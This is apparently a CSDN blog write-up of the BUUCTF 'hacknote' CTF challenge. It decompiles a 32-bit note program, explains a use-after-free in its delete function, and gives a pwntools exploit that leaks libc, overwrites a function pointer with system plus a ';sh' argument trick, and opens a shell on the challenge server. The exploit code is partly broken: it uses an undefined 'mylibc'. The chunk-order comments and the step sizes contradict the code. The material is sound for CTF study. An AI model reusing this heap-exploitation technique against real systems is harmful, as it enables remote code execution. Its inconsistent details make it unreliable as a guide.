BUUCTF-PWN-pwnable_hacknote-UAF

1.checksec+运行

 标准的菜单模式

canary和NX保护

2.32位IDA

1.sub_8048646()

unsigned int sub_8048646()
{
  int v0; // ebx
  int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf[8]; // [esp+14h] [ebp-14h] BYREF
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( dword_804A04C <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !*(&ptr + i) )
      {
        *(&ptr + i) = malloc(8u); //malloc 0x8 的chunk,叫note块
        if ( !*(&ptr + i) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *(_DWORD *)*(&ptr + i) = sub_804862B; //note[0]存放puts()函数的地址
        printf("Note size :");
        read(0, buf, 8u);
        size = atoi(buf);
        v0 = (int)*(&ptr + i);
        *(_DWORD *)(v0 + 4) = malloc(size);  //malloc size 的chunk,叫content块
        if ( !*((_DWORD *)*(&ptr + i) + 1) )  //note[1]存放content的地址
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *((void **)*(&ptr + i) + 1), size); //存放我们申请堆块的size
        puts("Success !");
        ++dword_804A04C;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

2.sub_80487D4()

unsigned int sub_80487D4()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&ptr + v1) )
  {
    free(*((void **)*(&ptr + v1) + 1)); //释放note块
    free(*(&ptr + v1));                 //释放content块
    puts("Success");                    //两个chunk都没有被置NULL,存在UAF漏洞
  }
  return __readgsdword(0x14u) ^ v3;
}

3.sub_80488A5()

unsigned int sub_80488A5()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&ptr + v1) )
    (*(void (__cdecl **)(_DWORD))*(&ptr + v1))(*(&ptr + v1)); //调用puts()函数
  return __readgsdword(0x14u) ^ v3;                //输出note块chunk存放地址的内容
}

利用思路

泄露libc,调用system,执行bin/sh/,获取shell

泄露libc

print note可以打印泄露地址

  1. 先add chunk0,add chunk1,大小都为0x80。
  2. 然后delete chunk1,chuk0.此时再申请add chunk2,大小为8.
  3. chunk2的note块是chunk0的note块,chunk2的content块是chunk1的note块。
  4. 向content2中写入puts函数地址和free@got表地址
  5. 调用 show(chunk2),执行puts和free@got表地址,将free函数的实际地址泄露,再根据偏移泄露system函数地址。

调用system执行bin/sh/

传入该函数的参数是note结构体自身,无法直接传入字符串“\bin\sh”,

原来的note_puts(arg0)是对puts(arg0+4)的封装,而现在的system(arg0)中arg0并不指向字符串而指向system的地址,所以这里需要system参数截断,

system参数用";sh\x00"或者"||sh"截断

EXP

from pwn import *
context(arch='i386',os='linux',log_level='debug')
elf = ELF('./hacknoteuaf')
libc = ELF('./libc-2.23-32.so')
p = remote("node4.buuoj.cn",27486)

def add_note(size,content):
    p.recvuntil("choice :")
    p.sendline("1")
    p.recvuntil("size :")
    p.sendline(str(size))
    p.recvuntil("Content :")
    p.sendline(content)

def del_note(index):
    p.recvuntil("choice :")
    p.sendline("2")
    p.recvuntil("Index :")
    p.sendline(str(index))

def print_note(index):
    p.recvuntil("choice :")
    p.sendline("3")
    p.recvuntil("Index :")
    p.sendline(str(index))


add_note(64,"12")
add_note(32,"12")
del_note(0)
add_note(64,"45")
print_note(2)

libc_addr = u32(p.recv(8)[4:8]) - 0x1b07b0
sys_addr = libc_addr + mylibc.symbols['system']

# add_note(8,"12")
# add_note(8,"34")
# del_note(3)
# del_note(4)
del_note(0)
del_note(1)
add_note(8,p32(sys_addr)+";sh\x00")
print_note(0)
p.interactive()

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值